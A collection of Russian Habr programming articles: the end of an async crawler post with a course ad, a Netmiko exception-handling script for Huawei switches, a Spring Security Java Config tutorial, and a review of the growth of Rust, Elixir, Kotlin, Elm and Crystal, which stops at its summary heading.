Теперь импортируем задачи в краулер из fetch\_task и изменяем start:
```
async def start(pool):
await pool.put(
FetchTask(URL('https://habr.com/ru/company/kts/blog/'), 1)
)
pool.start()
await pool.join()
await pool.stop()
```
Выставляем 3 запроса в секунду и смотрим, как наш краулер потихоньку обкачивает Хабр:
Спасибо за внимание
-------------------
На этом все! Спасибо всем, кто дочитал статью.
Если сталкивались с подобными задачами, пожалуйста, поделитесь своим опытом в комментариях.
### Несколько слов о курсе по асинхронному программированию на Python 🐍
[Этот курс](https://slurm.club/3QpvBbD) — маст хев для тех, кто хочет прокачать харды и стать специалистом, который не боится сложных проектов.
* Вы разберётесь, как работает асинхронное программирование и где его лучше применять.
* Научитесь мыслить нелинейно и сможете продумывать более сложные архитектуры приложений.
* Получите опыт работы с микросервисами и узнаете best practices написания асинхронных приложений на Python.
Старт 4-го потока 13 октября.
👉 **Посмотреть программу курса:** <https://slurm.club/3QpvBbD> | https://habr.com/ru/post/583036/ | null | ru | null |
# Применение exception при накате Python-скрипта на Huawei
Обычно мы можем встретить три проблемы при попытке запустить Python-скрипт на сети Huawei (впрочем, и на любой другой): это отсутствие L3 связности с устройством, это неверные имя пользователя или пароль, и это SSH-неполадки. Можно заметить, что любая из этих проблем остановит накат скрипта и сгенерирует один и тот же лог, большая часть из которого сложна для восприятия. В этой статье я постарался рассказать о небольшом улучшении [предыдущего кода](https://habr.com/ru/company/huawei/blog/648127/), которое сообщит о конкретной ошибке на устройстве, и продолжит накат скрипта дальше.
Запуск кода можно посмотреть на [видео демонстрации](https://forum.huawei.com/enterprise/ru/forum.php?mod=viewthread&tid=837149).
Вывод лога ошибки без применения конструкции try - except - continueЯ буду использовать Python конструкцию **try - except - continue**. **try** позволяет протестировать блок кода на ошибки. **except** (exception или исключения) - это тип данных Python, который позволяет сообщить об ошибке. Большинство исключений уже описаны и встроены в Python, нужно лишь найти подходящий.
Я также буду использовать оператор **continue**, чтобы накат скрипта продолжился несмотря на возникновение ошибки. А функция **print()** выведет заданное сообщение, если сработает то или иное исключение (except). Иными словами, если не удастся подключиться к устройству из списка устройств, то скрипт выведет короткое сообщение почему именно не удалось подключиться, и попытается подключиться к следующему устройству и так далее. Если ошибки не возникает, то код except пропускается. Еще раз подчеркну, что возникновение ошибки без конструкции try - except - continue, во-первых, сразу останавливает накат скрипта, то есть попытки подключения к другим устройствам из списка не происходит, а во-вторых, сгенерированный лог сообщения является длинным и беcсодержательным.
Итак, Python имеет встроенные исключения (except), которые описывают конкретные ошибки. Например:
Ошибка аутентификации - AuthenticationException
Ошибка недоступности - NetMikoTimeoutException
Ошибка SSH - SSHException
Блок кода **except** срабатывает только, если происходит ошибка. В этот блок входит функция print() и оператор continue. Например, если указать неверный пароль, то на экран будет выведено сообщение “Неверные данные аутентификации: ip-адрес устройства”. Если ни одна из ошибок не случится, то все три блока кода except будут пропущены, и отработает только главное задание скрипта - **send\_config\_set** (последняя строчка кода на примере выше).
Все указанные исключения нужно импортировать через соответствующие модули:
```
from netmiko.ssh_exception import NetMikoTimeoutException
from paramiko.ssh_exception import SSHException
from netmiko.ssh_exception import AuthenticationException
```
Весь код приведу в конце статьи.
Теперь тест в eNSP. В топологии восемь CloudEngine Huawei коммутатор. Из них я включу только три, остальные пять останутся недоступными (при попытке подключиться к ним скрипт должен вывести сообщение “Нет ответа от устройства: ip-адрес”). Первый коммутатор оставлю без ошибок, то есть на нем должно отработать задание автоматизации (накат конфигурации), на втором изменю пароль, а на третьем отключу SSH.
Топология eNSP для тестирования отработки ошибокИзменяю пароль на CE2:
*sys*
*Enter system view, return user view with return command.*
*[~CE\_2]aaa*
*[~CE\_2-aaa]local-user vasyo1 password irreversible-cipher @ghjcnjnF358986****6***
*[\*CE\_2-aaa]commit*
Отключаю SSH на VTY линиях на CE\_3:
*sys*
*Enter system view, return user view with return command.*
*[~CE\_3]user-interface vty 0 4*
*[~CE\_3-ui-vty0-4]protocol inbound telnet*
*[\*CE\_3-ui-vty0-4]commit*
Теперь запущу скрипт:
Применение exception при накате Python-скрипта на Huawei Первые строчки после Password - это содержание файлов в формате JSON, а именно файла, содержащего команды конфигурации, и файла, содержащего список IP-адресов устройств. Далее в первом красном прямоугольнике успешный накат конфигурации, во втором красном прямоугольнике сообщение о неверно введеных данных аутентификации (где я поменял пароль), и третий прямоугольник сообщает о недоступности SSH (где я разрешил использовать только telnet). Остальные пять коммутаторов: нет ответа от устройства и их IP-адреса (которые я и не включал).
Можно говорить об успешном применении конструкции **try - except - continue**.
Может посмотреть видео демонстарию наката, исходный код и его описание в статье: [Мой друг Netmiko. Часть 2: Три улучшения Python-скрипта](https://habr.com/ru/company/huawei/blog/648127/).
Полный код:
```
from getpass import getpass
from netmiko import ConnectHandler
from netmiko.ssh_exception import NetMikoTimeoutException
from paramiko.ssh_exception import SSHException
from netmiko.ssh_exception import AuthenticationException
username = input('Введите имя пользователя SSH: ')
password = getpass()
with open('switch_file_config') as f:
config_lines = f.read().splitlines()
print (config_lines)
with open('myswitches') as f:
ip_lines = f.read().splitlines()
print (ip_lines)
for device in ip_lines:
ip_address_of_device = device
CE = {
'device_type': 'huawei',
'ip': ip_address_of_device,
'username': username,
'password': password
}
try:
ssh_connect = ConnectHandler(**CE)
except (AuthenticationException):
print ('Неверные данные аутентификации: ' + ip_address_of_device)
continue
except (NetMikoTimeoutException):
print ('Нет ответа от устройства: ' + ip_address_of_device)
continue
except (SSHException):
print ('SSH недоступен. Проверьте включен ли SSH? ' + ip_address_of_device)
continue
output = ssh_connect.send_config_set(config_lines)
print(f"\n\n-------------- CE_{CE['ip']} --------------")
print(output)
print("-------------------- End -------------------")
```
Литература:
<https://stackoverflow.com/questions/5563089/raw-input-function-in-python>
<https://pynet.twb-tech.com/blog/automation/netmiko.html>
<https://pyneng.readthedocs.io/en/latest/book/18_ssh_telnet/netmiko.html>
<https://github.com/ktbyers/netmiko>
<https://github.com/ktbyers/netmiko/blob/master/netmiko/ssh_dispatcher.py>
Udemy.com - Python Network Programming for Network Engineers (Python 3) (David Bombal)
[https://www.pythoncentral.io/pythons-range-function-explained](https://www.pythoncentral.io/pythons-range-function-explained/) | https://habr.com/ru/post/655015/ | null | ru | null |
# Spring Security Hello World Java Config
Привет всем!
В этом материале мы постараемся написать приложение защищенное Spring Security с применением Java Config (подхода на основе использования аннотаций и классов для настройки контекста Spring приложения) вместо XML.
#### Используемые Технологии
* Spring 4.0.5 Release
* Spring Boot 1.0.1
* Spring Security 3.2.3 Release
* Maven
* Tomcat 8
* Servlet Api 3.1
* Java 1.8
Это будет очень простое веб приложение, Hello World на базе Spring MVC и Spring Security. Все настройки мы осуществим используя только Java классы, без единой строчки конфигурации в XML.
Начнем с рассмотрения структуры проекта.
#### Структура Проекта.
#### Зависимости Maven (из pom.xml)
```
javax.servlet
javax.servlet-api
3.1.0
provided
javax.servlet.jsp
jsp-api
2.2
provided
org.springframework
spring-context
4.0.5.RELEASE
jar
org.springframework
spring-webmvc
4.0.5.RELEASE
jar
org.springframework.security
spring-security-core
3.2.4.RELEASE
org.springframework.security
spring-security-web
3.2.4.RELEASE
org.springframework.security
spring-security-config
3.2.4.RELEASE
org.apache.taglibs
taglibs-standard-jstlel
1.2.1
```
Далее мы рассмотрим настройку контроллерa Spring MVC.
#### Контроллер (`AppController.java`)
```
package com.elennaro.sshwa.controllers;
//Import section ommited...
@Controller
public class AppController {
@RequestMapping(value = {"/", "/helloworld**"}, method = {RequestMethod.GET})
public ModelAndView welcomePage() {
ModelAndView model = new ModelAndView();
model.addObject("title", "Spring Security Tutorial");
model.addObject("message", "Welcome Page !");
model.setViewName("helloworld");
return model;
}
@RequestMapping(value = "/protected**", method = RequestMethod.GET)
public ModelAndView protectedPage() {
ModelAndView model = new ModelAndView();
model.addObject("title", "Spring Security 3.2.4 Hello World Tutorial");
model.addObject("message", "This is protected page - Only for Admin Users!");
model.setViewName("protected");
return model;
}
@RequestMapping(value = "/confidential**", method = RequestMethod.GET)
public ModelAndView adminPage() {
ModelAndView model = new ModelAndView();
model.addObject("title", "Spring Security 3.2.4 Hello World Tutorial");
model.addObject("message", "This is confidential page - Need Super Admin Role!");
model.setViewName("protected");
return model;
}
}
```
В контроллере будет один незащищенный ресурс и два пути к ресурсам, доступ к которым ограничен ролями администратора (admin) и супер администратора (superadmin). Вот пути к этим ресурсам:
* **/helloword** будет иметь публичный доступ, к нему не будет применяться никаких ограничений безопасности.
* **/protected** область с ограниченным доступом, только пользователи обладающие ролью администратора (admin) будут иметь доступ к ней.
* **/confidential** область с ограниченным доступом, только пользователи обладающие ролью супер администратора будут иметь доступ к ней.
В каждом методе мы создаем и возвращаем **Модель**(экземпляр класса `ModelAndView`). Имя компонента представления так же указано в модели. Чтобы привязать имена компонентов представления (с вашего позволения я буду называть компоненты представления простонародно вьюшками, от англ. View) к конкретным файлам отображения (в нашем случае к файлам JSP), необходимо прописать класс с настройками `WebConfig.java`. Описание класса представлено ниже.
#### Настраиваем Spring MVC (WebConfig.java)
Необходимо указать фреймворку Spring где находятся компоненты представления, и как их отображать. Так же надо привязать настройки безопасности. Все это можно сделать с помощью Java класса с аннотацией `@Configuration` (в будущем мы будем называть такие классы конфигурационными).
**WebConfig.java**
```
package com.elennaro.sshwa.config.application;
//Import section ommited...
@Configuration
@EnableWebMvc
@ComponentScan({ "com.elennaro.sshwa.config", "com.elennaro.sshwa.controllers" })
//@Import({ AppSecurityConfig.class })
public class WebConfig {
@Bean
public InternalResourceViewResolver viewResolver() {
InternalResourceViewResolver viewResolver = new InternalResourceViewResolver();
viewResolver.setViewClass(JstlView.class);
viewResolver.setPrefix("/WEB-INF/views/");
viewResolver.setSuffix(".jsp");
return viewResolver;
}
}
```
Коротко рассмотрим код приведенный выше:
* Объявляем конфигурационный класс (с помощью аннотации `@Configuration`).
* С помощью аннотации `@ComponentScan` указываем фреймворку Spring, что компоненты надо искать внутри пакетов `com.elennaro.sshwa.config` и `com.elennaro.sshwa.controllers`. Тут специалисты советуют: лучше всегда указывать конкретные пакеты, а не всё сразу с помощью `*`. То есть мы могли указать все пакеты: `com.elennaro.sshwa.*` и все бы работало. Но появись у нас в другом месте такой же `@ComponentScan` мы бы в лучшем случае пересканировали все пакеты дважды, а в худшем наткнулись на пару неприятных ошибок...
* Указываем что вьюшки будут лежать в директории `/WEB-INF/views/`
* Импортируем класс с настройками безопасности, собственно сам конфигуратор Spring Security (с помощью аннотации `@Import({ AppSecurityConfig.class }))`. Эта строчка специально закомментирована в коде. Хотелось показать, что класс с настройками безопасности(`AppSecurityConfig.java`) отмеченный (как вы увидите ниже) аннотацией `@Configuration` будет автоматически найден и подключен базовым контекстом апликации Spring фреймворка, потому что путь к пакету содерфащему класс `AppSecurityConfig` указан в аннотации `@ComponentScan`. Благодаря этому Spring найдет и подключит конфигурационный класс автоматически.
* Отметим что сам контроллер `AppController.java` тоже попадет под сканирование компонентов, так как путь к содержащему его пакету указан в `@ComponentScan({ "com.elennaro.sshwa.config", "com.elennaro.sshwa.controllers" })` и аннотация `@Controller` указана для этого класса.
Далее рассмотрим непосредственно настройки безопасности Spring Security.
#### Настройки Безопасности (Spring Security — AppSecurityConfig.java, SecurityInit.java)
**AppSecurityConfig.java**
```
package com.elennaro.sshwa.config;
//Import section ommited...
@Configuration
@EnableWebSecurity
public class AppSecurityConfig extends WebSecurityConfigurerAdapter {
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
auth.inMemoryAuthentication().withUser("user").password("user").roles("USER");
auth.inMemoryAuthentication().withUser("admin").password("admin").roles("ADMIN");
auth.inMemoryAuthentication().withUser("superadmin").password("superadmin").roles("SUPERADMIN");
}
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests()
.antMatchers("/protected/**").access("hasRole('ROLE_ADMIN')")
.antMatchers("/confidential/**").access("hasRole('ROLE_SUPERADMIN')")
.and().formLogin().defaultSuccessUrl("/", false);
}
}
```
Наиболее важной роль в конфигурации, играют аннотации класса:
* `@Configuration`
* `@EnableWebSecurity.`
Важно также то, что он расширяет класс **WebSecurityConfigurerAdapter**.
Аннотация `@EnableWebSecurity` в связке с `WebSecurityConfigurerAdapter` классом работает над обеспечением аутентификации. По умолчанию в Spring Security встроены и активны HTTP аутентификация и аутентификация на базе веб форм.
Кроме всего, здесь прописываем пользователей с их ролями, а затем указываем адреса ресурсов с ограниченным доступом, ограничение задано по ролям. Имена и пароли пользователей, для простоты, указаны прямо в коде. Spring Security позволяет с легкостью указать другой источник для данных о пользователях, например базу данных. Обратите внимание что роли в месте где мы присваиваем их пользователю пишутся без префикса `ROLE_`, в то время как в указании в методе `access`, в котором мы, с помощью языка выражений **SPEL** (Spring Expression Language), задаем выражения проверки ресурса (в нашем случае выражение проверки роли пользователя `hasRole(‘ROLE_имя роли’)`), мы пишем роль с префиксом `ROLE_`. Еще одна маленькая хитрость для аутентификации: `defaultSuccessUrl("/", false)`, установка второго параметра (`alwaysUse`) в `false` говорит Spring Security что в случае успешной авторизации можно перенаправить пользователя на ту страничку, с которой он пришел на страницу аутентификации.
Теперь в **AppSecurityConfig.java** у нас находятся настройки Безопасности а в **WebConfig.java** настройки MVC. Необходимо удостовериться, что настройки безопасности включены в основной контекст приложения (Иными словами их увидел и втянул в себя Root Application Context). Для этого можно создать класс расширяющий(наследующий) **AbstractAnnotationConfigDispatcherServletInitializer**. Нам нужно настроить все так чтобы определенный URL паттерн (путь к определенному ресурсу) проходил через уровень безопасности (проходил бы проверку фильтрами Spring Security). Традиционный подход подразумевал настройку сервлет фильтра, в котором мы проверяли бы учетные данные безопасности. С появлением Setvlet 3.x больше нету необходимости объявлять фильтры в web.xml, вся настройка может быть осуществлена с помощью Java классов. Как раз для этого нам нужен `AbstractAnnotationConfigDispatcherServletInitializer`.
**SecurityInit.java**
```
package com.elennaro.sshwa.config;
//Import section ommited...
public class SecurityInit extends AbstractSecurityWebApplicationInitializer {
}
```
Для тех кто знаком с XML конфигурацией, выше приведенный код аналогичен следующему:
```
springSecurityFilterChain
org.springframework.web.filter.DelegatingFilterProxy
springSecurityFilterChain
/\*
ERROR
REQUEST
```
Мы закончили настройку MVC и Spring Security. Осталось настроить Диспетчер Сервлета, который отвечает за инициализацию Spring MVC и меппинг URL паттернов. Опять же мы откажемся от традиционной настройки Диспетчера Сервлета через web.xml и будем использовать Java Классы.
#### Настраиваем Диспетчер Сервлета (WebAppInitializer.java)
**WebAppInitializer.java**
```
package com.elennaro.sshwa.config;
//Import section ommited...
public class WebAppInitializer extends AbstractAnnotationConfigDispatcherServletInitializer{
@Override
protected Class[] getRootConfigClasses() {
return new Class[] {WebConfig.class}; // We dont need any special servlet config yet.
}
@Override
protected Class[] getServletConfigClasses() {
return null;
}
@Override
protected String[] getServletMappings() {
return new String[] {"/"};
}
}
```
Здесь мы настроили мэпинг сервлета на “/” и поэтому все запросы будут перехвачены Диспетчером Сервлета Spring.
Отметим что, наш класс **WebAppInitializer.java** наследует **AbstractAnnotationConfigDispatcherservletinitializergetRootConfigClasses**, замещая его метод `getRootConfigClasses` так чтобы вернуть объявленный нами класс настроек приложения `WebConfig.class`.
Все… Осталось, прописать вьюшки и попробовать запустить приложение.
#### Представления (Вьюшки)
**helloworld.jsp**
```
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
Hello World
Title : ${title}
================
Message : ${message}
====================
Get <protected> resource for admin.
Get <confidential> resource for superadmin.
Updated by Alex Art from [in2circle.com](https://in2circle.com)
```
**protected.jsp**
```
<%@ page isELIgnored="false" %>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
Protected page
Title : ${title}
================
Message : ${message}
====================
Welcome : ${pageContext.request.userPrincipal.name}
<%--@elvariable id="\_csrf" type="org.springframework.web.bind.MissingServletRequestParameterException"--%>
----------------------------------------------------------------------------------------------------------------------------------------------------------------
Get <protected> resource for admin.
Get <confidential> resource for superadmin.
Updated by Alex Art from [in2circle.com](https://in2circle.com)
```
Тут можно толко отметить, что ссылка на logout URL: `logout` и что по умолчанию тип logout запроса должен быть POST и запрос logout должен содержать csrf token.
Spring Security, сам сгенерирует страницу login.
#### Финиш.
Запускаем Приложение: **<http://localhost:8080/sshwa/helloworld/>**
Как мы и хотели ресурс **/helloworld** незащищен
Когда же мы поменяем URL на **<http://localhost:8080/sshwa/protected/>** Spring Security перенаправит нас на **/login**, с формой аутентификации по умолчанию. Если мы введем неверные логин или пароль, будут отображены сообщения об ошибках, и Spring сделает редирект на URL **/login?error**.
Для неавторизированных пользователей Spring сначала выкинет нас в root ("/"), а при следующей попытке зайти на ресурс с неподходящей ролью, отобразит страничку с кодом **403**.
Полный код приложения доступен по адресу:
[github.com/elennaro/sshwa/tree/0.2-SNAPSHOT](https://github.com/elennaro/sshwa/tree/0.2-SNAPSHOT)
Надеюсь в будущем у меня будет время чтобы постепенно развивать этот туториал (в планах перевести все на Spring Boot, а когда выйдет Spring Security 4.0 Release попытаться прикрутить тесты).
На основе материала из источника: [javahash.com/spring-security-hello-world-example](http://javahash.com/spring-security-hello-world-example/). Код переработан, текст дополнен кажущимися мне полезными комментариями.
Это мой первый материал, постараюсь учесть все пожелания и замечания.
P.S. Спасибо [drno-reg](https://habrahabr.ru/users/drno-reg/), за то, что нашли ошибку при logout (текст и исходники были обновлены). | https://habr.com/ru/post/226791/ | null | ru | null |
# Пять перспективных языков программирования со светлым будущим (3 года спустя)
В 2016-м году я опубликовал перевод [статьи про 5 перспективных языков программирования](https://habr.com/ru/post/310252/), в которой прогнозировался их рост в ближайшие 2-3 года.
Зачастую прогнозы так и остаются прогнозами, без последующего анализа. Но я решил, что это непорядок. И посколько 3 года уже пролетели, пора подвести промежуточные итоги и посмотреть, что произошло с этими языками за это время.
Однако, прежде чем мы перейдём к пятёрке наших героев, хочется уделить немного внимания предсказанному в той же статье переходу Swift и Go из второго эшелона в первый.
**про эшелоны**В исходной статье языки программирования условно делятся на 3 эшелона по популярности.
Первый эшелон включает мейнстрим-языки, такие как Java, JavaScript, Python, Ruby, C# и т.д.
Языки второго эшелона пытаются пробиться в мейнстрим, но ещё не добились этого. Они доказали свою состоятельность путем создания сильных сообществ, но они до сих пор не используются большинством консервативных IT-компаний. Большинство языков в первом эшелоне прочно укоренились на своих позициях. Поэтому выпадение языка с лидирующих позиций занимает ощутимое время, а для языка второго эшелона очень трудно пробиться в первый.
К третьему эшелону относятся непопулярные языки, а также относительно новые перспективные языки (о которых пойдёт речь), которые только начинают свой путь наверх. Некоторые языки пребывают в третьем эшелоне на протяжении многих лет, не получая популярности, в то время как другие врываются на сцену всего за пару лет.
Оба эти языка безусловно укрепили свои позиции. Swift от версии 3.0 успел дойти до 5.0 и наконец пообещал стабильность ABI. Другими словами, Apple больше не планирует раздражать программистов на Swift постоянной сменой сигнатур методов и т.д. Кроме того, Swift окончательно потеснил Objective-C, обогнав его в свежем [рейтинге RedMonk](https://redmonk.com/sogrady/2019/07/18/language-rankings-6-19/) и поднявшись на 6 позиций по сравнению с [рейтингом 3-х летней давности](https://redmonk.com/sogrady/2016/07/20/language-rankings-6-16/). Очевидно, что тенденция продолжится, поэтому можно сказать, Swift занял своё место в первом эшелоне.
Что касается Go, то он сместился в рейтинге на одну позицию ниже (с 15-го места на 16-е), прошёл путь от версии 1.7 до 1.13, и находится в стадии глобального переосмысления обработки ошибок и наличия дженериков в языке — вопросов, которые вызывали больше всего нареканий в течение всех 12 лет его существования. В общем, Go потихоньку эволюционирует, растёт количество проектов, которые применяют его в production, но о переходе в первый эшелон пока говорить рано.
Помимо Swift и Go, стоит отметить TypeScript, который за 3 года совершил необычайный прорыв, перескочив в рейтинге с 26-го места на 10-е. Если вы занимаетесь разработкой фронтенда, но до сих пор не ознакомились с этим языком, то момент настал. Уже прям must-know.
А теперь фанфары и главная часть — наша пятёрка языков, которым пророчили переход из 3-го эшелона во 2-й. Что изменилось для них за эти 3 года?!
Для начала, сводная таблица по количественной OpenSource-активности на Github:
| | Rust | Elixir | Kotlin | Elm | Crystal |
| --- | --- | --- | --- | --- | --- |
| | Repos | Users | Repos | Users | Repos | Users | Repos | Users | Repos | Users |
| 2016 | 5146 | 1935 | 2668 | 861 | 960 | 1541 | 433 | 194 | 150 | 52 |
| 2019 | 23700 | 13500 | 16800 | 4000 | 24300 | 26400 | 5300 | 994 | 1200 | 469 |
| Рост | 4.6x | 7x | 6.3x | 4.6x | 25x | 17x | 12x | 5.1x | 8x | 9x |
\* *Github теперь не показывает точных чисел выше 1000, а только оценку снизу, поэтому я для каждого языка сделал десяток запросов и округлил самый большой результат до сотен.*
Понятно, что чем скромнее были позиции языка 3 года назад, тем легче показать кратный рост. Но тем не менее, с этой задачей отлично справились и Rust, и Elixir — лидеры нашей пятёрки по кол-ву репозиториев в 2016 году. Однако, самый выдающийся результат показал Kotlin, показав по-настоящему взрывной рост. О причинах поговорим чуть ниже, а пока давайте посмотрим какой путь проделали эти языки по лестнице RedMonk:
Чтобы оценить продвижение языков по графику, я взял их координаты и посчитал дельту:
```
((x2 - x1) + (y2 - y1)) / 2
```
Получились такие результаты среднего прироста по обеим осям:
```
Kotlin: +41%
Rust: +20%
Elixir: +20%
Elm: +18%
Crystal: +32% # из-за того, что 3 года назад его не было на графике вообще
```
Как видно, все языки пятёрки существенно продвинулись к популярности (вверх и вправо). Занятный факт, что все они находятся ниже диагональной линии, что означает относительно низкую активность на StackOverflow. Впрочем, тут нет никакой загадки, у сообщества каждого из этих языков есть форум на базе [Discourse](https://www.discourse.org/), и как следствие большинство вопросов обсуждаются там, а не на StackOverflow.
В целом, все 5 языков показали хороший количественный рост. Но кто же проявил себя лучше всех? Давайте составим своеобразный Top и рассмотрим не только количественные, но и качественные критерии.
### 5-е место: Elm
К сожалению, Elm показал достаточно удручающие результаты. Во-первых, за 3 года вышло всего 2 релиза, причём последний на данный момент — 0.19 оказался настолько противоречивым, что даже привёл к некоторому [расколу сообщества](https://dev.to/kspeakman/elm-019-broke-us--khn). И вот уже больше года новых версий не выпускается, хотя [работа в репозитории](https://github.com/elm/compiler/graphs/contributors) идёт достаточно активно. При этом [Эван Чаплицки](https://github.com/evancz) (автор языка) ещё 2 года назад [дал понять](https://github.com/elm/projects/blob/master/roadmap.md), что никакого вразумительного roadmap нет и не будет. При таком раскладе, Elm остаётся чисто экспериментальным языком с теперь уже сомнительным будущим. Хотя есть люди, которые по-прежнему смотрят на Elm c оптимизмом. С их доводами можно ознакомиться [тут](https://github.com/dwyl/learn-elm/issues/129).
Стоит отметить, что ещё в комментариях к исходной статье [dimsmol](https://habr.com/ru/users/dimsmol/), [fshp](https://habr.com/ru/users/fshp/) и [hellosandrik](https://habr.com/ru/users/hellosandrik/) [высказывались](https://habr.com/ru/post/310252/#comment_9814032) в пользу [PureScript](http://www.purescript.org/), как более жизнеспособной альтернативы Elm. И хотя он тоже до сих пор не достиг версии 1.0, динамика релизов выглядит более обнадёживающей. Так что любителям Haskell стоит обратить внимание на этот язык.
### 4-е место: Crystal
Если 3 года назад Crystal вообще не было видно на графике RedMonk, то теперь он вполне уверенно ворвался в Top-100 языков программирования. А также прошёл путь от версии 0.19 до 0.30. Впрочем, столь большое количество релизов показывает не только динамичность развития языка, но и его нестабильность. К большому сожалению, план выпустить [версию 1.0 в 2017 году](https://crystal-lang.org/2016/12/29/crystal-new-year-resolutions-for-2017-1-0.html) [провалился](https://crystal-lang.org/2017/12/19/this-is-not-a-new-years-resolution.html).
Как мне видится, во многом тут виновато совсем не вовремя появившееся желание реализовать поддержку Windows. [Этот эпик](https://github.com/crystal-lang/crystal/issues/5430) продвигается очень медленно и требует значительных усилий от и без того маленькой команды разработки. Причём абсолютно непонятно зачем оно нужно до релиза 1.0. Основная целевая аудитория Crystal — это программисты, использующие Ruby в повседневной работе. А программировать на Ruby под Windows считалось моветоном ещё лет 10 назад. Другими словами, доля программистов, использующих Windows по работе и при этом заинтересованных в Crystal, исчезающе мала. И тратить на это огромные усилия, не имея на руках стабильной версии языка, крайне недальновидно. Ведь наличие версии 1.0 — это практически обязательное условие для побуждения средних и крупных компаний к использованию технологии.
В итоге, Crystal теряет потенциальную аудиторию, т.к. компании, которым стало тесно в рамках Ruby и Python массово переходят на Elixir и Go. А для Crystal остаётся узкая ниша компаний, чьи программисты не смогли переключиться на эти языки. И это печально, т.к. хоть Crystal и не конкурент Elixir, но вот с Go он мог бы конкурировать вполне успешно, предоставляя местами даже лучшую производительность и сравнимую функциональность, приправленную выразительностью Ruby и встроенной в компилятор защитой от nil reference.
### 2-е\* место: Rust
Rust взял курс на выпуск новой версии компилятора раз в 6 недель и придерживается этого плана. Как результат, за 3 года язык долетел с версии 1.11 до 1.37. В этом есть свои плюсы, например, ввод новых функциональных возможностей идёт постепенно и очень плавно. Но есть и минусы, например, понадобившаяся вам библиотека может опираться на более новую версию языка, чем ваш проект, начатый 3 месяца назад. Другими словами, будьте готовы к частым обновлениям. Тем не менее Core Team понимает, что постоянные обновления могут утомлять и [объявили 2019-й](https://blog.rust-lang.org/2019/04/23/roadmap.html) — годом восстановления сил и стабилизации. Делается упор на полировку того, что есть, доработку затянувшихся фич (которые были давно начаты, но не доведены до master) и организационные моменты. Кроме того [планируется](https://raphlinus.github.io/rust/2018/12/16/rust-2019.html) улучшить поддержку IDE через улучшение [Rust Language Server](https://github.com/rust-lang/rls), улучшить отладку для WebAssembly и посмотреть в сторону разработки GUI-тулкита.
В целом, Rust находится в процессе обретения статуса стабильного, сформировавшегося языка. Определенно стоит с ним познакомиться, если вам интересна high-performance разработка. Однако, сдерживающим фактором роста популярности является репутация Rust, как языка со слишком высоким порогом входа, которая отпугивает от него новичков. Поэтому сообществу ещё предстоит продолжение работы над имиджем языка в этом плане, если они не хотят пойти по пути Haskell ("avoid success at all costs"). Впрочем, не пугайтесь — те, кто попробовал, его любят: Rust занял 1-е место среди [The Most Loved Languages](https://insights.stackoverflow.com/survey/2019#most-loved-dreaded-and-wanted) в опросе StackOverflow в этом году.
*\* в резюме статьи объяснено, почему 2 вторых места :-)*
### 2-е место: Elixir
Если Rust ещё только планирует стабилизироваться в этом году, то Elixir, пройдя за 3 года путь от версии 1.3 до 1.9, [уже это сделал](https://elixir-lang.org/blog/2019/06/24/elixir-v1-9-0-released/#whats-next). В ближайшее время не планируется никаких крупных изменений или дополнений в самом языке. И есть 2 причины, по которым Elixir может себе такое позволить:
Во-первых, поскольку Elixir базируется на Erlang/OTP, он может пользоваться результатами усилий Ericsson и OTP Team по работе над рантаймом и виртуальной машиной. Elixir Team так же старается вносить свой вклад в эту работу и этот вклад ощутимо вырос за предыдущие 3 года.
Во-вторых, Elixir спроектирован как расширяемый язык. Инструменты и абстракции, которые были использованы для создания и совершенствования языка, доступны и для библиотек и фреймворков. Это означает, что сообщество может продолжать улучшать экосистему без необходимости изменений в самом языке. В том числе и сам [Жозе Валим](https://github.com/josevalim) (автор Elixir) пошёл этим путём и недавно [анонсировал Broadway](https://www.youtube.com/watch?v=Fq9hpl7xbWM) — библиотеку, упрощающую отказоустойчивую параллельную обработку данных из произвольных источников.
В общем, Elixir уже является стабильным и полностью сформировавшимся языком, который отлично подойдёт всем, кто разрабатывает системы, нацеленные на высокую нагрузку или на высокую стабильность, или на то и другое одновременно. По сути для таких проектов особых вариантов и нет, либо использовать Erlang, либо Elixir, либо изобретать кучу собственных велосипедов. Кстати, если вы присматриваетесь к частичному внедрению Elixir в существующие проекты, рекомендую отличную книгу [“Adopting Elixir”](https://pragprog.com/book/tvmelixir/adopting-elixir). В ней же можно почитать про опыт достаточно крупных компаний, которые уже перешли на этот язык.
### 1-е место: Kotlin
Безусловный лидер пятёрки — Kotlin. Ему удалось за 3 года проделать невероятный путь и практически перескочить из 3-го эшелона в 1-й, заменив Java в разработке под Android. Начиналось это с официальной поддержки Kotlin, [анонсированной в 2017 году](https://blog.jetbrains.com/kotlin/2017/05/kotlin-on-android-now-official/) командой разработки Android. И, как следствие, его включения в Android Studio 3.0. В итоге, дружба с Android привела к тому, что 4 месяца назад [Google объявил Kotlin предпочтительным выбором для разработки под Android](https://techcrunch.com/2019/05/07/kotlin-is-now-googles-preferred-language-for-android-app-development/). Конечно, этому во многом поспособствовали [патентные](https://money.cnn.com/2018/03/27/news/companies/google-oracle-case/index.html) [споры](https://itsfoss.com/oracle-google-dispute/) Google и Oracle [насчёт Java](https://en.wikipedia.org/wiki/Oracle_America,_Inc._v._Google,_Inc.), но, разумеется, и заслуга JetBrains в этом есть. Они далеко не первые, кто захотел сделать Java с человеческим лицом, но первые кому удалось это сделать так, что отказ от Java в пользу нового языка стал мейнстримом. Мои поздравления!
Кстати, JetBrains также активно развивает [Kotlin Native](https://kotlinlang.org/docs/reference/native-overview.html), позволяющий компилировать код на Kotlin в нативный бинарник.
Что касается [рейтинга RedMonk](https://redmonk.com/sogrady/2019/07/18/language-rankings-6-19/), язык занимает пока что 20-е место, но это очевидно связано с тем, что Kotlin может без проблем использовать существующие Java-библиотеки, соответственно нет насущной необходимости их переписывать на него. Тем не менее, становится всё меньше причин начинать новые проекты на Java, даже если они не связаны с Android-разработкой. Так что вполне вероятно, что спустя ещё 3 года Java останется лишь в кровавом энтерпрайзе, а в остальном Kotlin займёт её место, как Swift занял место Objective-C.
Резюме
------
